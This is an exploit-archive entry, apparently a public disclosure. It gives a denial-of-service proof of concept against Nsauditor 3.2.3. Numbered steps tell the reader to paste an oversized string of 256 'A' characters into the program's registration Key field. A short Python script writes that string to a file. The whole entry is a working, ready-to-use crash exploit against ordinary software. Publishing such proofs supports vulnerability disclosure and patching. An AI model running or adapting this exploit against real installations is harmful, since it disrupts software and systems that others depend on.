Nsauditor version 3.2.3 suffers from a denial of service vulnerability.
b45def01258069c999265cfc129e527b# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.3.0
# Tested on: Windows 10 Pro x64 es
# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open Nsauditor.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok
buffer = "\x41" * 256
f = open ("NBM.txt", "w")
f.write(buffer)
f.close()